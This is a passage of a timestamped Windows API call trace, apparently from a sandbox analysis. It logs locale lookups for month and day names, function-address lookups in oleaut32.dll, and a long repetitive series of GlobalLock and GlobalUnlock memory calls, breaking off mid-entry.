LCType=0x3c, lpLCData=0x18fd74, cchData=256 | out: lpLCData="May") returned 4 [0028.671] GetLocaleInfoA (in: Locale=0x409, LCType=0x49, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Jun") returned 4 [0028.671] GetLocaleInfoA (in: Locale=0x409, LCType=0x3d, lpLCData=0x18fd74, cchData=256 | out: lpLCData="June") returned 5 [0028.671] GetLocaleInfoA (in: Locale=0x409, LCType=0x4a, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Jul") returned 4 [0028.671] GetLocaleInfoA (in: Locale=0x409, LCType=0x3e, lpLCData=0x18fd74, cchData=256 | out: lpLCData="July") returned 5 [0028.671] GetLocaleInfoA (in: Locale=0x409, LCType=0x4b, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Aug") returned 4 [0028.671] GetLocaleInfoA (in: Locale=0x409, LCType=0x3f, lpLCData=0x18fd74, cchData=256 | out: lpLCData="August") returned 7 [0028.671] GetLocaleInfoA (in: Locale=0x409, LCType=0x4c, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Sep") returned 4 [0028.671] GetLocaleInfoA (in: Locale=0x409, LCType=0x40, lpLCData=0x18fd74, cchData=256 | out: lpLCData="September") returned 10 [0028.671] GetLocaleInfoA (in: Locale=0x409, LCType=0x4d, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Oct") returned 4 [0028.671] GetLocaleInfoA (in: Locale=0x409, LCType=0x41, lpLCData=0x18fd74, cchData=256 | out: lpLCData="October") returned 8 [0028.671] GetLocaleInfoA (in: Locale=0x409, LCType=0x4e, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Nov") returned 4 [0028.671] GetLocaleInfoA (in: Locale=0x409, LCType=0x42, lpLCData=0x18fd74, cchData=256 | out: lpLCData="November") returned 9 [0028.671] GetLocaleInfoA (in: Locale=0x409, LCType=0x4f, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Dec") returned 4 [0028.671] GetLocaleInfoA (in: Locale=0x409, LCType=0x43, lpLCData=0x18fd74, cchData=256 | out: lpLCData="December") returned 9 [0028.671] GetLocaleInfoA (in: Locale=0x409, LCType=0x37, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Sun") returned 4 [0028.671] GetLocaleInfoA (in: Locale=0x409, LCType=0x30, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Sunday") returned 7 [0028.671] GetLocaleInfoA (in: Locale=0x409, LCType=0x31, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Mon") returned 4 [0028.671] GetLocaleInfoA (in: Locale=0x409, LCType=0x2a, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Monday") returned 7 [0028.671] GetLocaleInfoA (in: Locale=0x409, LCType=0x32, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Tue") returned 4 [0028.671] GetLocaleInfoA (in: Locale=0x409, LCType=0x2b, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Tuesday") returned 8 [0028.671] GetLocaleInfoA (in: Locale=0x409, LCType=0x33, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Wed") returned 4 [0028.671] GetLocaleInfoA (in: Locale=0x409, LCType=0x2c, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Wednesday") returned 10 [0028.671] GetLocaleInfoA (in: Locale=0x409, LCType=0x34, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Thu") returned 4 [0028.671] GetLocaleInfoA (in: Locale=0x409, LCType=0x2d, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Thursday") returned 9 [0028.671] GetLocaleInfoA (in: Locale=0x409, LCType=0x35, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Fri") returned 4 [0028.671] GetLocaleInfoA (in: Locale=0x409, LCType=0x2e, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Friday") returned 7 [0028.671] GetLocaleInfoA (in: Locale=0x409, LCType=0x36, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Sat") returned 4 [0028.671] GetLocaleInfoA (in: Locale=0x409, LCType=0x2f, lpLCData=0x18fd74, cchData=256 | out: lpLCData="Saturday") returned 9 [0028.671] GetThreadLocale () returned 0x409 [0028.671] GetLocaleInfoA (in: Locale=0x409, LCType=0x14, lpLCData=0x18fdd0, cchData=256 | out: lpLCData="$") returned 2 [0028.671] GetLocaleInfoA (in: Locale=0x409, LCType=0x1b, lpLCData=0x18fdd0, cchData=256 | out: lpLCData="0") returned 2 [0028.671] GetLocaleInfoA (in: Locale=0x409, LCType=0x1c, lpLCData=0x18fdd0, cchData=256 | out: lpLCData="0") returned 2 [0028.671] GetLocaleInfoA (in: Locale=0x409, LCType=0xf, lpLCData=0x18fec8, cchData=2 | out: lpLCData=",") returned 2 [0028.671] GetLocaleInfoA (in: Locale=0x409, LCType=0xe, lpLCData=0x18fec8, cchData=2 | out: lpLCData=".") returned 2 [0028.671] GetLocaleInfoA (in: Locale=0x409, LCType=0x19, lpLCData=0x18fdd0, cchData=256 | out: lpLCData="2") returned 2 [0028.671] GetLocaleInfoA (in: Locale=0x409, LCType=0x1d, lpLCData=0x18fec8, cchData=2 | out: lpLCData="/") returned 2 [0028.671] GetLocaleInfoA (in: Locale=0x409, LCType=0x1f, lpLCData=0x18fdd0, cchData=256 | out: lpLCData="M/d/yyyy") returned 9 [0028.671] GetThreadLocale () returned 0x409 [0028.671] GetLocaleInfoA (in: Locale=0x409, LCType=0x1009, lpLCData=0x18fd9c, cchData=256 | out: lpLCData="1") returned 2 [0028.671] GetLocaleInfoA (in: Locale=0x409, LCType=0x20, lpLCData=0x18fdd0, cchData=256 | out: lpLCData="dddd, MMMM dd, yyyy") returned 20 [0028.672] GetThreadLocale () returned 0x409 [0028.672] GetLocaleInfoA (in: Locale=0x409, LCType=0x1009, lpLCData=0x18fd9c, cchData=256 | out: lpLCData="1") returned 2 [0028.672] GetLocaleInfoA (in: Locale=0x409, LCType=0x1e, lpLCData=0x18fec8, cchData=2 | out: lpLCData=":") returned 2 [0028.672] GetLocaleInfoA (in: Locale=0x409, LCType=0x28, lpLCData=0x18fdd0, cchData=256 | out: lpLCData="AM") returned 3 [0028.672] GetLocaleInfoA (in: Locale=0x409, LCType=0x29, lpLCData=0x18fdd0, cchData=256 | out: lpLCData="PM") returned 3 [0028.672] GetLocaleInfoA (in: Locale=0x409, LCType=0x25, lpLCData=0x18fdd0, cchData=256 | out: lpLCData="0") returned 2 [0028.672] GetLocaleInfoA (in: Locale=0x409, LCType=0x23, lpLCData=0x18fdd0, cchData=256 | out: lpLCData="0") returned 2 [0028.672] GetLocaleInfoA (in: Locale=0x409, LCType=0x1005, lpLCData=0x18fdd0, cchData=256 | out: lpLCData="0") returned 2 [0028.672] GetLocaleInfoA (in: Locale=0x409, LCType=0xc, lpLCData=0x18fec8, cchData=2 | out: lpLCData=",") returned 2 [0028.672] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff24 | out: lpPerformanceCount=0x18ff24*=17043827763) returned 1 [0028.672] GetModuleHandleA (lpModuleName="oleaut32.dll") returned 0x769d0000 [0028.672] GetProcAddress (hModule=0x769d0000, lpProcName="VariantChangeTypeEx") returned 0x769d4c28 [0028.672] GetProcAddress (hModule=0x769d0000, lpProcName="VarNeg") returned 0x76a4c802 [0028.672] GetProcAddress (hModule=0x769d0000, lpProcName="VarNot") returned 0x76a4ec66 [0028.673] GetProcAddress (hModule=0x769d0000, lpProcName="VarAdd") returned 0x769f5934 [0028.673] GetProcAddress (hModule=0x769d0000, lpProcName="VarSub") returned 0x76a4d332 [0028.673] GetProcAddress (hModule=0x769d0000, lpProcName="VarMul") returned 0x76a4dbd4 [0028.673] GetProcAddress (hModule=0x769d0000, lpProcName="VarDiv") returned 0x76a4e405 [0028.673] GetProcAddress (hModule=0x769d0000, lpProcName="VarIdiv") returned 0x76a4f00a [0028.673] GetProcAddress (hModule=0x769d0000, lpProcName="VarMod") returned 0x76a4f15e [0028.673] GetProcAddress (hModule=0x769d0000, lpProcName="VarAnd") returned 0x769f5a98 [0028.673] GetProcAddress (hModule=0x769d0000, lpProcName="VarOr") returned 0x76a4ecfa [0028.673] GetProcAddress (hModule=0x769d0000, lpProcName="VarXor") returned 0x76a4ee2e [0028.673] GetProcAddress (hModule=0x769d0000, lpProcName="VarCmp") returned 0x769eb0dc [0028.673] GetProcAddress (hModule=0x769d0000, lpProcName="VarI4FromStr") returned 0x769e6fab [0028.673] GetProcAddress (hModule=0x769d0000, lpProcName="VarR4FromStr") returned 0x769f01a0 [0028.673] GetProcAddress (hModule=0x769d0000, lpProcName="VarR8FromStr") returned 0x769e699e [0028.673] GetProcAddress (hModule=0x769d0000, lpProcName="VarDateFromStr") returned 0x769f6ba7 [0028.674] GetProcAddress (hModule=0x769d0000, lpProcName="VarCyFromStr") returned 0x76a16c12 [0028.674] GetProcAddress (hModule=0x769d0000, lpProcName="VarBoolFromStr") returned 0x769edbd1 [0028.674] GetProcAddress (hModule=0x769d0000, lpProcName="VarBstrFromCy") returned 0x769f7fdc [0028.674] GetProcAddress (hModule=0x769d0000, lpProcName="VarBstrFromDate") returned 0x769e7a2a [0028.674] GetProcAddress (hModule=0x769d0000, lpProcName="VarBstrFromBool") returned 0x769f0355 [0028.674] GlobalLock (hMem=0x440004) returned 0x51e668 [0028.675] GlobalHandle (pMem=0x51e668) returned 0x440004 [0028.675] GlobalUnlock (hMem=0x440004) returned 0 [0028.675] GlobalLock (hMem=0x440004) returned 0x51e668 [0028.675] GlobalLock (hMem=0x44000c) returned 0x520678 [0028.708] GlobalHandle (pMem=0x51e668) returned 0x440004 [0028.708] GlobalUnlock (hMem=0x440004) returned 0 [0028.708] GlobalHandle (pMem=0x520678) returned 0x44000c [0028.708] GlobalUnlock (hMem=0x44000c) returned 0 [0028.709] GlobalLock (hMem=0x44000c) returned 0x51e668 [0028.709] GlobalHandle (pMem=0x51e668) returned 0x44000c [0028.709] GlobalUnlock (hMem=0x44000c) returned 0 [0028.709] GlobalLock (hMem=0x44000c) returned 0x51e668 [0028.709] GlobalLock (hMem=0x440004) returned 0x520678 [0028.709] GlobalHandle (pMem=0x51e668) returned 0x44000c [0028.709] GlobalUnlock (hMem=0x44000c) returned 0 [0028.709] GlobalHandle (pMem=0x520678) returned 0x440004 [0028.709] GlobalUnlock (hMem=0x440004) returned 0 [0028.709] GlobalLock (hMem=0x440004) returned 0x51e668 [0028.709] GlobalHandle (pMem=0x51e668) returned 0x440004 [0028.709] GlobalUnlock (hMem=0x440004) returned 0 [0028.709] GlobalLock (hMem=0x440004) returned 0x51e668 [0028.709] GlobalLock (hMem=0x44000c) returned 0x520678 [0028.709] GlobalHandle (pMem=0x51e668) returned 0x440004 [0028.709] GlobalUnlock (hMem=0x440004) returned 0 [0028.709] GlobalHandle (pMem=0x520678) returned 0x44000c [0028.709] GlobalUnlock (hMem=0x44000c) returned 0 [0028.709] GlobalLock (hMem=0x44000c) returned 0x51e668 [0028.710] GlobalHandle (pMem=0x51e668) returned 0x44000c [0028.710] GlobalUnlock (hMem=0x44000c) returned 0 [0028.710] GlobalLock (hMem=0x44000c) returned 0x51e668 [0028.710] GlobalLock (hMem=0x440004) returned 0x520678 [0028.710] GlobalHandle (pMem=0x51e668) returned 0x44000c [0028.710] GlobalUnlock (hMem=0x44000c) returned 0 [0028.710] GlobalHandle (pMem=0x520678) returned 0x440004 [0028.710] GlobalUnlock (hMem=0x440004) returned 0 [0028.710] GlobalLock (hMem=0x440004) returned 0x51e668 [0028.710] GlobalHandle (pMem=0x51e668) returned 0x440004 [0028.710] GlobalUnlock (hMem=0x440004) returned 0 [0028.710] GlobalLock (hMem=0x440004) returned 0x51e668 [0028.710] GlobalLock (hMem=0x44000c) returned 0x520678 [0028.710] GlobalHandle (pMem=0x51e668) returned 0x440004 [0028.710] GlobalUnlock (hMem=0x440004) returned 0 [0028.710] GlobalHandle (pMem=0x520678) returned 0x44000c [0028.710] GlobalUnlock (hMem=0x44000c) returned 0 [0028.710] GlobalLock (hMem=0x44000c) returned 0x51e668 [0028.710] GlobalHandle (pMem=0x51e668) returned 0x44000c [0028.710] GlobalUnlock (hMem=0x44000c) returned 0 [0028.710] GlobalLock (hMem=0x44000c) returned 0x51e668 [0028.710] GlobalLock (hMem=0x440004) returned 0x520678 [0028.710] GlobalHandle (pMem=0x51e668) returned 0x44000c [0028.710] GlobalUnlock (hMem=0x44000c) returned 0 [0028.710] GlobalHandle (pMem=0x520678) returned 0x440004 [0028.710] GlobalUnlock (hMem=0x440004) returned 0 [0028.710] GlobalLock (hMem=0x440004) returned 0x51e668 [0028.710] GlobalHandle (pMem=0x51e668) returned 0x440004 [0028.710] GlobalUnlock (hMem=0x440004) returned 0 [0028.711] GlobalLock (hMem=0x440004) returned 0x51e668 [0028.711] GlobalLock (hMem=0x44000c) returned 0x520678 [0028.711] GlobalHandle (pMem=0x51e668) returned 0x440004 [0028.711] GlobalUnlock (hMem=0x440004) returned 0 [0028.711] GlobalHandle (pMem=0x520678) returned 0x44000c [0028.711] GlobalUnlock (hMem=0x44000c) returned 0 [0028.711] GlobalLock (hMem=0x44000c) returned 0x51e668 [0028.711] GlobalHandle (pMem=0x51e668) returned 0x44000c [0028.711] GlobalUnlock (hMem=0x44000c) returned 0 [0028.711] GlobalLock (hMem=0x44000c) returned 0x51e668 [0028.711] GlobalLock (hMem=0x440004) returned 0x520678 [0028.711] GlobalHandle (pMem=0x51e668) returned 0x44000c [0028.711] GlobalUnlock (hMem=0x44000c) returned 0 [0028.711] GlobalHandle (pMem=0x520678) returned 0x440004 [0028.711] GlobalUnlock (hMem=0x440004) returned 0 [0028.711] GlobalLock (hMem=0x440004) returned 0x51e668 [0028.711] GlobalHandle (pMem=0x51e668) returned 0x440004 [0028.711] GlobalUnlock (hMem=0x440004) returned 0 [0028.711] GlobalLock (hMem=0x440004) returned 0x51e668 [0028.711] GlobalLock (hMem=0x44000c) returned 0x520678 [0028.711] GlobalHandle (pMem=0x51e668) returned 0x440004 [0028.711] GlobalUnlock (hMem=0x440004) returned 0 [0028.711] GlobalHandle (pMem=0x520678) returned 0x44000c [0028.711] GlobalUnlock (hMem=0x44000c) returned 0 [0028.711] GlobalLock (hMem=0x44000c) returned 0x51e668 [0028.711] GlobalHandle (pMem=0x51e668) returned 0x44000c [0028.711] GlobalUnlock (hMem=0x44000c) returned 0 [0028.711] GlobalLock (hMem=0x44000c) returned 0x51e668 [0028.711] GlobalLock (hMem=0x440004) returned 0x520678 [0028.711] GlobalHandle (pMem=0x51e668) returned 0x44000c [0028.711] GlobalUnlock (hMem=0x44000c) returned 0 [0028.712] GlobalHandle (pMem=0x520678) returned 0x440004 [0028.712] GlobalUnlock (hMem=0x440004) returned 0 [0028.712] GlobalLock (hMem=0x440004) returned 0x51e668 [0028.712] GlobalHandle (pMem=0x51e668) returned 0x440004 [0028.712] GlobalUnlock (hMem=0x440004) returned 0 [0028.712] GlobalLock (hMem=0x440004) returned 0x51e668 [0028.712] GlobalLock (hMem=0x44000c) returned 0x520678 [0028.712] GlobalHandle (pMem=0x51e668) returned 0x440004 [0028.712] GlobalUnlock (hMem=0x440004) returned 0 [0028.712] GlobalHandle (pMem=0x520678) returned 0x44000c [0028.712] GlobalUnlock (hMem=0x44000c) returned 0 [0028.712] GlobalLock (hMem=0x44000c) returned 0x51e668 [0028.712] GlobalHandle (pMem=0x51e668) returned 0x44000c [0028.712] GlobalUnlock (hMem=0x44000c) returned 0 [0028.712] GlobalLock (hMem=0x44000c) returned 0x51e668 [0028.712] GlobalLock (hMem=0x440004) returned 0x520678 [0028.712] GlobalHandle (pMem=0x51e668) returned 0x44000c [0028.712] GlobalUnlock (hMem=0x44000c) returned 0 [0028.712] GlobalHandle (pMem=0x520678) returned 0x440004 [0028.712] GlobalUnlock (hMem=0x440004) returned 0 [0028.712] GlobalLock (hMem=0x440004) returned 0x51e668 [0028.712] GlobalHandle (pMem=0x51e668) returned 0x440004 [0028.712] GlobalUnlock (hMem=0x440004) returned 0 [0028.712] GlobalLock (hMem=0x440004) returned 0x51e668 [0028.712] GlobalLock (hMem=0x44000c) returned 0x520678 [0028.712] GlobalHandle (pMem=0x51e668) returned 0x440004 [0028.713] GlobalUnlock (hMem=0x440004) returned 0 [0028.713] GlobalHandle (pMem=0x520678) returned 0x44000c [0028.713] GlobalUnlock (hMem=0x44000c) returned 0 [0028.713] GlobalLock (hMem=0x44000c) returned 0x51e668 [0028.713] GlobalHandle (pMem=0x51e668) returned 0x44000c [0028.713] GlobalUnlock (hMem=0x44000c) returned 0 [0028.713] GlobalLock (hMem=0x44000c) returned 0x51e668 [0028.713] GlobalLock (hMem=0x440004) returned 0x520678 [0028.713] GlobalHandle (pMem=0x51e668) returned 0x44000c [0028.713] GlobalUnlock (hMem=0x44000c) returned 0 [0028.713] GlobalHandle (pMem=0x520678) returned 0x440004 [0028.713] GlobalUnlock (hMem=0x440004) returned 0 [0028.713] GlobalLock (hMem=0x440004) returned 0x51e668 [0028.713] GlobalHandle (pMem=0x51e668) returned 0x440004 [0028.713] GlobalUnlock (hMem=0x440004) returned 0 [0028.713] GlobalLock (hMem=0x440004) returned 0x51e668 [0028.713] GlobalLock (hMem=0x44000c) returned 0x520678 [0028.713] GlobalHandle (pMem=0x51e668) returned 0x440004 [0028.713] GlobalUnlock (hMem=0x440004) returned 0 [0028.713] GlobalHandle (pMem=0x520678) returned 0x44000c [0028.713] GlobalUnlock (hMem=0x44000c) returned 0 [0028.713] GlobalLock (hMem=0x44000c) returned 0x51e668 [0028.713] GlobalHandle (pMem=0x51e668) returned 0x44000c [0028.713] GlobalUnlock (hMem=0x44000c) returned 0 [0028.713] GlobalLock (hMem=0x44000c) returned 0x51e668 [0028.713] GlobalLock (hMem=0x440004) returned 0x520678 [0028.714] GlobalHandle (pMem=0x51e668) returned 0x44000c [0028.714] GlobalUnlock (hMem=0x44000c) returned 0 [0028.714] GlobalHandle (pMem=0x520678) returned 0x440004 [0028.714] GlobalUnlock (hMem=0x440004) returned 0 [0028.714] GlobalLock (hMem=0x440004) returned 0x51e668 [0028.714] GlobalHandle (pMem=0x51e668) returned 0x440004 [0028.714] GlobalUnlock (hMem=0x440004) returned 0 [0028.714] GlobalLock (hMem=0x440004) returned 0x51e668 [0028.714] GlobalLock (hMem=0x44000c) returned 0x520678 [0028.714] GlobalHandle (pMem=0x51e668) returned 0x440004 [0028.714] GlobalUnlock (hMem=0x440004) returned 0 [0028.714] GlobalHandle (pMem=0x520678) returned 0x44000c [0028.714] GlobalUnlock (hMem=0x44000c) returned 0 [0028.714] GlobalLock (hMem=0x44000c) returned 0x51e668 [0028.714] GlobalHandle (pMem=0x51e668) returned 0x44000c [0028.714] GlobalUnlock (hMem=0x44000c) returned 0 [0028.714] GlobalLock (hMem=0x44000c) returned 0x51e668 [0028.714] GlobalLock (hMem=0x440004) returned 0x520678 [0028.714] GlobalHandle (pMem=0x51e668) returned 0x44000c [0028.714] GlobalUnlock (hMem=0x44000c) returned 0 [0028.714] GlobalHandle (pMem=0x520678) returned 0x440004 [0028.714] GlobalUnlock (hMem=0x440004) returned 0 [0028.714] GlobalLock (hMem=0x440004) returned 0x51e668 [0028.714] GlobalHandle (pMem=0x51e668) returned 0x440004 [0028.714] GlobalUnlock (hMem=0x440004) returned 0 [0028.714] GlobalLock (hMem=0x440004) returned 0x51e668 [0028.714] GlobalLock (hMem=0x44000c) returned 0x520678 [0028.714] GlobalHandle (pMem=0x51e668) returned 0x440004 [0028.714] GlobalUnlock (hMem=0x440004) returned 0 [0028.714] GlobalHandle (pMem=0x520678) returned 0x44000c [0028.715] GlobalUnlock (hMem=0x44000c) returned 0 [0028.715] GlobalLock (hMem=0x44000c) returned 0x51e668 [0028.715] GlobalHandle (pMem=0x51e668) returned 0x44000c [0028.715] GlobalUnlock (hMem=0x44000c) returned 0 [0028.715] GlobalLock (hMem=0x44000c) returned 0x51e668 [0028.715] GlobalLock (hMem=0x440004) returned 0x520678 [0028.715] GlobalHandle (pMem=0x51e668) returned 0x44000c [0028.715] GlobalUnlock (hMem=0x44000c) returned 0 [0028.715] GlobalHandle (pMem=0x520678) returned 0x440004 [0028.715] GlobalUnlock (hMem=0x440004) returned 0 [0028.715] GlobalLock (hMem=0x440004) returned 0x51e668 [0028.715] GlobalHandle (pMem=0x51e668) returned 0x440004 [0028.715] GlobalUnlock (hMem=0x440004) returned 0 [0028.715] GlobalLock (hMem=0x440004) returned 0x51e668 [0028.715] GlobalLock (hMem=0x44000c) returned 0x520678 [0028.715] GlobalHandle (pMem=0x51e668) returned 0x440004 [0028.715] GlobalUnlock (hMem=0x440004) returned 0 [0028.715] GlobalHandle (pMem=0x520678) returned 0x44000c [0028.715] GlobalUnlock (hMem=0x44000c) returned 0 [0028.715] GlobalLock (hMem=0x44000c) returned 0x51e668 [0028.715] GlobalHandle (pMem=0x51e668) returned 0x44000c [0028.715] GlobalUnlock (hMem=0x44000c) returned 0 [0028.715] GlobalLock (hMem=0x44000c) returned 0x51e668 [0028.715] GlobalLock (hMem=0x440004) returned 0x520678 [0028.715] GlobalHandle (pMem=0x51e668) returned 0x44000c [0028.715] GlobalUnlock (hMem=0x44000c) returned 0 [0028.715] GlobalHandle (pMem=0x520678) returned 0x440004 [0028.715] GlobalUnlock (hMem=0x440004) returned 0 [0028.715] GlobalLock (hMem=0x440004) returned 0x51e668 [0028.715] GlobalHandle (pMem=0x51e668) returned 0x440004 [0028.716] GlobalUnlock (hMem=0x440004) returned 0 [0028.716] GlobalLock (hMem=0x440004) returned 0x51e668 [0028.716] GlobalLock (hMem=0x44000c) returned 0x520678 [0028.716] GlobalHandle (pMem=0x51e668) returned 0x440004 [0028.716] GlobalUnlock (hMem=0x440004) returned 0 [0028.716] GlobalHandle (pMem=0x520678) returned 0x44000c [0028.716] GlobalUnlock (hMem=0x44000c) returned 0 [0028.716] GlobalLock (hMem=0x44000c) returned 0x51e668 [0028.716] GlobalHandle (pMem=0x51e668) returned 0x44000c [0028.716] GlobalUnlock (hMem=0x44000c) returned 0 [0028.716] GlobalLock (hMem=0x44000c) returned 0x51e668 [0028.716] GlobalLock (hMem=0x440004) returned 0x520678 [0028.716] GlobalHandle (pMem=0x51e668) returned 0x44000c [0028.716] GlobalUnlock (hMem=0x44000c) returned 0 [0028.716] GlobalHandle (pMem=0x520678) returned 0x440004 [0028.716] GlobalUnlock (hMem=0x440004) returned 0 [0028.716] GlobalLock (hMem=0x440004) returned 0x51e668 [0028.716] GlobalHandle (pMem=0x51e668) returned 0x440004 [0028.716] GlobalUnlock (hMem=0x440004) returned 0 [0028.716] GlobalLock (hMem=0x440004) returned 0x51e668 [0028.716] GlobalLock (hMem=0x44000c) returned 0x520678 [0028.716] GlobalHandle (pMem=0x51e668) returned 0x440004 [0028.716] GlobalUnlock (hMem=0x440004) returned 0 [0028.716] GlobalHandle (pMem=0x520678) returned 0x44000c [0028.716] GlobalUnlock (hMem=0x44000c) returned 0 [0028.716] GlobalLock (hMem=0x44000c) returned 0x51e668 [0028.716] GlobalHandle (pMem=0x51e668) returned 0x44000c [0028.716] GlobalUnlock (hMem=0x44000c) returned 0 [0028.716] GlobalLock (hMem=0x44000c) returned 0x51e668 [0028.717] GlobalLock (hMem=0x440004) returned 0x520678 [0028.717] GlobalHandle (pMem=0x51e668) returned 0x44000c [0028.717] GlobalUnlock (hMem=0x44000c) returned 0 [0028.717] GlobalHandle (pMem=0x520678) returned 0x440004 [0028.717] GlobalUnlock (hMem=0x440004) returned 0 [0028.717] GlobalLock (hMem=0x440004) returned 0x51e668 [0028.717] GlobalHandle (pMem=0x51e668) returned 0x440004 [0028.717] GlobalUnlock (hMem=0x440004) returned 0 [0028.717] GlobalLock (hMem=0x440004) returned 0x51e668 [0028.717] GlobalLock (hMem=0x44000c) returned 0x520678 [0028.717] GlobalHandle (pMem=0x51e668) returned 0x440004 [0028.717] GlobalUnlock (hMem=0x440004) returned 0 [0028.717] GlobalHandle (pMem=0x520678) returned 0x44000c [0028.717] GlobalUnlock (hMem=0x44000c) returned 0 [0028.717] GlobalLock (hMem=0x44000c) returned 0x51e668 [0028.717] GlobalHandle (pMem=0x51e668) returned 0x44000c [0028.717] GlobalUnlock (hMem=0x44000c) returned 0 [0028.717] GlobalLock (hMem=0x44000c) returned 0x51e668 [0028.717] GlobalLock (hMem=0x440004) returned 0x520678 [0028.717] GlobalHandle (pMem=0x51e668) returned 0x44000c [0028.717] GlobalUnlock (hMem=0x44000c) returned 0 [0028.717] GlobalHandle (pMem=0x520678) returned 0x440004 [0028.717] GlobalUnlock (hMem=0x440004) returned 0 [0028.717] GlobalLock (hMem=0x440004) returned 0x51e668 [0028.717] GlobalHandle (pMem=0x51e668) returned 0x440004 [0028.717] GlobalUnlock (hMem=0x440004) returned 0 [0028.717] GlobalLock (hMem=0x440004) returned 0x51e668 [0028.717] GlobalLock (hMem=0x44000c) returned 0x520678 [0028.717] GlobalHandle (pMem=0x51e668) returned 0x440004 [0028.717] GlobalUnlock (hMem=0x440004) returned 0 [0028.718] GlobalHandle (pMem=0x520678) returned 0x44000c [0028.718] GlobalUnlock (hMem=0x44000c) returned 0 [0028.718] GlobalLock (hMem=0x44000c) returned 0x51e668 [0028.718] GlobalHandle (pMem=0x51e668) returned 0x44000c [0028.718] GlobalUnlock (hMem=0x44000c) returned 0 [0028.718] GlobalLock (hMem=0x44000c) returned 0x51e668 [0028.718] GlobalLock (hMem=0x440004) returned 0x520678 [0028.718] GlobalHandle (pMem=0x51e668) returned 0x44000c [0028.718] GlobalUnlock (hMem=0x44000c) returned 0 [0028.718] GlobalHandle (pMem=0x520678) returned 0x440004 [0028.718] GlobalUnlock (hMem=0x440004) returned 0 [0028.718] GlobalLock (hMem=0x440004) returned 0x51e668 [0028.718] GlobalHandle (pMem=0x51e668) returned 0x440004 [0028.718] GlobalUnlock (hMem=0x440004) returned 0 [0028.718] GlobalLock (hMem=0x440004) returned 0x51e668 [0028.718] GlobalLock (hMem=0x44000c) returned 0x520678 [0028.718] GlobalHandle (pMem=0x51e668) returned 0x440004 [0028.718] GlobalUnlock (hMem=0x440004) returned 0 [0028.718] GlobalHandle (pMem=0x520678) returned 0x44000c [0028.718] GlobalUnlock (hMem=0x44000c) returned 0 [0028.718] GlobalLock (hMem=0x44000c) returned 0x51e668 [0028.718] GlobalHandle (pMem=0x51e668) returned 0x44000c [0028.718] GlobalUnlock (hMem=0x44000c) returned 0 [0028.718] GlobalLock (hMem=0x44000c) returned 0x51e668 [0028.718] GlobalLock (hMem=0x440004) returned 0x520678 [0028.718] GlobalHandle (pMem=0x51e668) returned 0x44000c [0028.718] GlobalUnlock (hMem=0x44000c) returned 0 [0028.718] GlobalHandle (pMem=0x520678) returned 0x440004 [0028.718] GlobalUnlock (hMem=0x440004) returned 0 [0028.719] GlobalLock (hMem=0x440004) returned 0x51e668 [0028.719] GlobalHandle (pMem=0x51e668) returned 0x440004 [0028.719] GlobalUnlock (hMem=0x440004) returned 0 [0028.719] GlobalLock (hMem=0x440004) returned 0x51e668 [0028.719] GlobalLock (hMem=0x44000c) returned 0x520678 [0028.719] GlobalHandle (pMem=0x51e668) returned 0x440004 [0028.719] GlobalUnlock (hMem=0x440004) returned 0 [0028.719] GlobalHandle (pMem=0x520678) returned 0x44000c [0028.719] GlobalUnlock (hMem=0x44000c) returned 0 [0028.719] GlobalLock (hMem=0x44000c) returned 0x51e668 [0028.719] GlobalHandle (pMem=0x51e668) returned 0x44000c [0028.719] GlobalUnlock (hMem=0x44000c) returned 0 [0028.719] GlobalLock (hMem=0x44000c) returned 0x51e668 [0028.719] GlobalLock (hMem=0x440004) returned 0x520678 [0028.719] GlobalHandle (pMem=0x51e668) returned 0x44000c [0028.719] GlobalUnlock (hMem=0x44000c) returned 0 [0028.719] GlobalHandle (pMem=0x520678) returned 0x440004 [0028.719] GlobalUnlock (hMem=0x440004) returned 0 [0028.719] GlobalLock (hMem=0x440004) returned 0x51e668 [0028.719] GlobalHandle (pMem=0x51e668) returned 0x440004 [0028.719] GlobalUnlock (hMem=0x440004) returned 0 [0028.719] GlobalLock (hMem=0x440004) returned 0x51e668 [0028.719] GlobalLock (hMem=0x44000c) returned 0x520678 [0028.719] GlobalHandle (pMem=0x51e668) returned 0x440004 [0028.719] GlobalUnlock (hMem=0x440004) returned 0 [0028.719] GlobalHandle (pMem=0x520678) returned 0x44000c [0028.719] GlobalUnlock (hMem=0x44000c) returned 0 [0028.719] GlobalLock (hMem=0x44000c) returned 0x51e668 [0028.719] GlobalHandle (pMem=0x51e668) returned 0x44000c [0028.719] GlobalUnlock (hMem=0x44000c) returned 0 [0028.720] GlobalLock (hMem=0x44000c) returned 0x51e668 [0028.720] GlobalLock (hMem=0x440004) returned 0x520678 [0028.720] GlobalHandle (pMem=0x51e668) returned 0x44000c [0028.720] GlobalUnlock (hMem=0x44000c) returned 0 [0028.720] GlobalHandle (pMem=0x520678) returned 0x440004 [0028.720] GlobalUnlock (hMem=0x440004) returned 0 [0028.720] GlobalLock (hMem=0x440004) returned 0x51e668 [0028.720] GlobalHandle (pMem=0x51e668) returned 0x440004 [0028.720] GlobalUnlock (hMem=0x440004) returned 0 [0028.720] GlobalLock (hMem=0x440004) returned 0x51e668 [0028.720] GlobalLock (hMem=0x44000c) returned 0x520678 [0028.720] GlobalHandle (pMem=0x51e668) returned 0x440004 [0028.720] GlobalUnlock (hMem=0x440004) returned 0 [0028.720] GlobalHandle (pMem=0x520678) returned 0x44000c [0028.720] GlobalUnlock (hMem=0x44000c) returned 0 [0028.720] GlobalLock (hMem=0x44000c) returned 0x51e668 [0028.720] GlobalHandle (pMem=0x51e668) returned 0x44000c [0028.720] GlobalUnlock (hMem=0x44000c) returned 0 [0028.720] GlobalLock 